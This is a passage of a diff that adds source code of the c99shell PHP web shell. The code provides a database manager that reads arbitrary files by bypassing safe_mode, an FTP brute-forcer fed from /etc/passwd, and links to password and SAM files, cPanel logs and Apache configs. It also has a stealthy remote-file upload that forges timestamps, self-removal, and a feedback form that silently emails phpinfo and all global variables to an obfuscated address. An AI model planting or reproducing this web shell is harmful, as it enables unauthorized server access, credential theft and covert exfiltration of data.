src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = false; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} + else {$true = true;} + if ($true) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return true; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = false;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $tmp = posix_getpwuid(fileowner($d)); + if ($tmp["name"] == "") {echo fileowner($d)."/";} + else {echo $tmp["name"]."/";} + $tmp = posix_getgrgid(filegroup($d)); + if ($tmp["name"] == "") {echo filegroup($d);} + else {echo $tmp["name"];} + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Software:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br><b>Safe-Mode: ".$hsafemode."</b><br><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"security\"><input type=\"hidden\" name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=\"submit\" value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=\"green\">You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" method=\"POST\"><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($encoder_input)."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form method=\"POST\"><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=\"hidden\" name=\"rndcode\" value=\"".$rnd."\"><input type=\"text\" name=\"submit\">&nbsp;<input type=\"submit\" value=\"YES\"></form>"; + } +} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAaW5ib3gucnU="); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form method=\"POST\"><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = true; + $act = "ls"; + } + } + echo "<form method=\"POST\"> +<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><input type=\"hidden\" name=\"act\" value=\"".$dspact."\"> +<b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text +<br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = true; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".htmlspecialchars($surl)."\" method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=\"POST\"> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=\"submit\" name=\"submit\" value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = false; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting 